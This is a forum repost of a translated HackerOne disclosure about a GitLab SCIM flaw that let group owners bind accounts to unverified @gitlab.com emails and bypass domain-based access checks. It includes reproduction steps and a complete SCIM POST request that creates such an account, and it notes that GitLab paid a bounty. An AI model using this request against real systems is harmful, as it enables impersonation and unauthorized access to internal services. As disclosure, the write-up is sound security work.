用户
搜索
  • TA的每日心情
    擦汗
    2019-1-31 10:58
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    101

    主题

    101

    帖子

    1175

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2018-12-21

    i春秋认证

    发表于 2019-9-2 18:21:34 0505



    22.png

    总结

    我发现gitlab中最新的SCIM(跨域身份管理)功能可让gitlab中的任何组的所有者创建一个和已经经过验证的电子邮件相绑定的帐户。也就是说,我可以创建一个和电子邮件地址ngalog@gitlab.com相绑定的帐户,在gitlab.com看来,ngalog@gitlab.com是已经经过验证的内部帐户,可访问内部服务。

    33.png

    这将给利用Gitlab作为身份验证的客户端带来问题,因为和ngalog@gitlab.com相绑定,当客户端检查用户的电子邮件域是否匹配@gitlab.com时,就能成功绕过,进而非法访问一些内部服务。

    我曾经有一个gitlab相关的内部服务/站点列表,它们都需要使用和gitlab.com有关的邮箱登录,虽然目前我暂时找不到了,但我相信gitlab的安全团队一定知道都有哪些服务。任意未知第三方对这些服务的访问将给gitlab的基础网络设施带来巨大的安全威胁

    复现步骤

    • gitlab.com中,将你的群组升级为黄金。

    • 访问[https://gitlab.com/groups/GROUP_PATH/-/saml](https://gitlab.com/groups/GROUP_PATH/-/saml),并按照文档设置SAML SSO(单点登录)。

    • 同一页面,创建SCIM令牌。

    • 使用创建的SCIM令牌发出如下请求。

    最终请求如下:

    POST /api/scim/v2/groups/YOUR_GROUP_NAME/Users HTTP/1.1
    Host: gitlab.com
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0
    Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/scim+json
    Authorization: Bearer YOUR_SCIM_TOKEN
    Content-Length: 291
    
    {"externalId":"REPLACE_ME","active":null,"userName":"anyusernamewilldo","emails":[{"primary":true,"type":"work","value":"ANYGITLABEMAIL@gitlab.com"}],"name":{"formatted":"Test User","familyName":"User","givenName":"Test3"},"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"me ta":{"resourceType":"User"}}
    
    • 接着打开一个新的窗口并访问[https://gitlab.com/groups/GROUP_NAME/-/saml/sso?token=xqz82m-b](https://gitlab.com/groups/GROUP_NAME/-/saml/sso?token=xqz82m-b),利用以上POST JSON主体中的externalId进行登录。

    • 现在,你可以用新创建的用户进行登录,且会发现已绕过了电子邮件验证这一过程。

    影响

    正如我之前所说的,我有一个有关gitlab的内部服务/站点列表,均使用gitlab.com邮箱进行登录,虽然我暂时找不到它们,但我相信gitlab安全团队知道是什么服务。这将给gitlab的基础网络设施带来很大的安全威胁。

    例子

    可以检查gitlab.com上的用户username4,你会发现将他的电子邮件地址为ngalog@gitlab.com

    当前漏洞直接表现

    电子邮件不需要经过验证过程就得到验证绑定。

    44.png

    在漏洞作者披露漏洞详情后,Gitlba的安全团队也确认了漏洞存在,并给予了3000美元的奖励。

    55.png

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2920.html
    来源:https://hackerone.com/reports/565883
    
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册